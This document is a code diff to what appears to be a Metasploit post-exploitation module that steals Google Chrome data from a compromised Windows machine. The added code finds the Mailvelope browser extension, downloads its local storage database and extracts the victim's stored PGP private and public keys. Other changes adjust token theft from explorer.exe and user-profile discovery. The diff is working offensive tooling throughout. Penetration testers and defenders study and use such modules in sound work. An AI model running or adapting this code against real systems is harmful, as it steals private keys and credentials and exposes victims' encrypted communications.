@@ -29,7 +29,8 @@ def initialize(info={})
29
29
[
30
30
'Sven Taute' , #Original (Meterpreter script)
31
31
'sinn3r' , #Metasploit post module
32
- 'Kx499' #x64 support
32
+ 'Kx499' , #x64 support
33
+ 'mubix' #Parse extensions
33
34
]
34
35
) )
35
36
@@ -39,6 +40,68 @@ def initialize(info={})
39
40
] , self . class )
40
41
end
41
42
43
+ def extension_mailvelope_parse_key ( data )
44
+ return data . gsub ( "\x00 " , "" ) . tr ( "[]" , "" ) . gsub ( "\\ r" , "" ) . gsub ( "\" " , "" ) . gsub ( "\\ n" , "\n " )
45
+ end
46
+
47
+ def extension_mailvelope_store_key ( name , value )
48
+ return unless name =~ /(private|public)keys/i
49
+
50
+ priv_or_pub = $1
51
+
52
+ keys = value . split ( "," )
53
+ print_good ( "==> Found #{ keys . size } #{ priv_or_pub } key(s)!" )
54
+ keys . each do |key |
55
+ key_data = extension_mailvelope_parse_key ( key )
56
+ vprint_good ( key_data )
57
+ path = store_loot (
58
+ "chrome.mailvelope.#{ priv_or_pub } " , "text/plain" , session , key_data , "#{ priv_or_pub } .key" , "Mailvelope PGP #{ priv_or_pub . capitalize } Key" )
59
+ print_status ( "==> Saving #{ priv_or_pub } key to: #{ path } " )
60
+ end
61
+ end
62
+
63
+ def extension_mailvelope ( username , extname )
64
+ chrome_path = @profiles_path + "\\ " + username + @data_path
65
+ maildb_path = chrome_path + "/Local Storage/chrome-extension_#{ extname } _0.localstorage"
66
+ if file_exist? ( maildb_path ) == false
67
+ print_error ( "==> Mailvelope database not found" )
68
+ return
69
+ end
70
+ print_status ( "==> Downloading Mailvelope database..." )
71
+ local_path = store_loot ( "chrome.ext.mailvelope" , "text/plain" , session , "chrome_ext_mailvelope" )
72
+ session . fs . file . download_file ( local_path , maildb_path )
73
+ print_status ( "==> Downloaded to #{ local_path } " )
74
+
75
+ maildb = SQLite3 ::Database . new ( local_path )
76
+ columns , *rows = maildb . execute2 ( "select * from ItemTable;" )
77
+ maildb . close
78
+
79
+ rows . each do |name , value |
80
+ extension_mailvelope_store_key ( name , value )
81
+ end
82
+ end
83
+
84
+
85
+
86
+ def parse_prefs ( username , filepath )
87
+ f = File . open ( filepath , 'rb' )
88
+ until f . eof
89
+ prefs = f . read
90
+ end
91
+ results = ActiveSupport ::JSON . decode ( prefs )
92
+ print_status ( "Extensions installed: " )
93
+ results [ 'extensions' ] [ 'settings' ] . each do |name , values |
94
+ if values [ 'manifest' ]
95
+ print_status ( "=> #{ values [ 'manifest' ] [ 'name' ] } " )
96
+ if values [ 'manifest' ] [ 'name' ] =~ /mailvelope/i
97
+ print_good ( "==> Found Mailvelope extension, extracting PGP keys" )
98
+ extension_mailvelope ( username , name )
99
+ end
100
+ end
101
+ end
102
+ end
103
+
104
+
42
105
def decrypt_data ( data )
43
106
rg = session . railgun
44
107
pid = session . sys . process . open . pid
@@ -77,6 +140,10 @@ def process_files(username)
77
140
)
78
141
79
142
@chrome_files . each do |item |
143
+ if item [ :in_file ] == "Preferences"
144
+ parse_prefs ( username , item [ :raw_file ] )
145
+ end
146
+
80
147
next if item [ :sql ] == nil
81
148
next if item [ :raw_file ] == nil
82
149
@@ -122,9 +189,7 @@ def extract_data(username)
122
189
remote_path = chrome_path + '\\' + f
123
190
124
191
#Verify the path before downloading the file
125
- begin
126
- x = session . fs . file . stat ( remote_path )
127
- rescue
192
+ if file_exist? ( remote_path ) == false
128
193
print_error ( "#{ f } not found" )
129
194
next
130
195
end
@@ -152,17 +217,12 @@ def steal_token
152
217
current_pid = session . sys . process . open . pid
153
218
target_pid = session . sys . process [ "explorer.exe" ]
154
219
return if target_pid == current_pid
155
-
156
- if not session . incognito
157
- session . core . use ( "incognito" )
158
-
159
- if not session . incognito
160
- print_error ( "Unable to load incognito" )
161
- return false
162
- end
220
+ if target_pid . to_s . empty?
221
+ print_warning ( "No explorer.exe process to impersonate." )
222
+ return
163
223
end
164
224
165
- print_status ( "Impersonating token: #{ target_pid . to_s } " )
225
+ print_status ( "Impersonating token: #{ target_pid } " )
166
226
begin
167
227
session . sys . config . steal_token ( target_pid )
168
228
return true
@@ -217,7 +277,6 @@ def run
217
277
]
218
278
219
279
@old_pid = nil
220
- @host_info = session . sys . config . sysinfo
221
280
migrate_success = false
222
281
223
282
# If we can impersonate a token, we use that first.
@@ -230,37 +289,39 @@ def run
230
289
host = session . session_host
231
290
232
291
#Get Google Chrome user data path
233
- sysdrive = session . fs . file . expand_path ( "%SYSTEMDRIVE%" )
234
- os = @host_info [ 'OS' ]
235
- if os =~ /(Windows 7|2008|Vista)/
236
- @profiles_path = sysdrive + "\\ Users\\ "
292
+ sysdrive = expand_path ( "%SYSTEMDRIVE%" ) . strip
293
+ if directory? ( "#{ sysdrive } \\ Users" )
294
+ @profiles_path = "#{ sysdrive } /Users"
237
295
@data_path = "\\ AppData\\ Local\\ Google\\ Chrome\\ User Data\\ Default"
238
- elsif os =~ /(2000|NET|XP)/
239
- @profiles_path = sysdrive + " \\ Documents and Settings\\ "
296
+ elsif directory? ( " #{ sysdrive } \\ Documents and Settings" )
297
+ @profiles_path = " #{ sysdrive } / Documents and Settings"
240
298
@data_path = "\\ Local Settings\\ Application Data\\ Google\\ Chrome\\ User Data\\ Default"
241
299
end
242
300
243
301
#Get user(s)
244
302
usernames = [ ]
245
- uid = session . sys . config . getuid
246
303
if is_system?
247
304
print_status ( "Running as SYSTEM, extracting user list..." )
248
- print_error ( "(Automatic decryption will not be possible. You might want to manually migrate, or set \" MIGRATE=true\" )" )
305
+ print_warning ( "(Automatic decryption will not be possible. You might want to manually migrate, or set \" MIGRATE=true\" )" )
249
306
session . fs . dir . foreach ( @profiles_path ) do |u |
250
- usernames << u if u !~ /^(\. |\. \. |All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
307
+ not_actually_users = [
308
+ "." , ".." , "All Users" , "Default" , "Default User" , "Public" , "desktop.ini" ,
309
+ "LocalService" , "NetworkService"
310
+ ]
311
+ usernames << u unless not_actually_users . include? ( u )
251
312
end
252
313
print_status "Users found: #{ usernames . join ( ", " ) } "
253
314
else
315
+ uid = session . sys . config . getuid
254
316
print_status "Running as user '#{ uid } '..."
255
- usernames << session . fs . file . expand_path ( "%USERNAME%" )
317
+ usernames << expand_path ( "%USERNAME%" ) . strip
256
318
end
257
319
258
-
259
320
has_sqlite3 = true
260
321
begin
261
322
require 'sqlite3'
262
323
rescue LoadError
263
- print_error ( "SQLite3 is not available, and we are not able to parse the database." )
324
+ print_warning ( "SQLite3 is not available, and we are not able to parse the database." )
264
325
has_sqlite3 = false
265
326
end
266
327
0 commit comments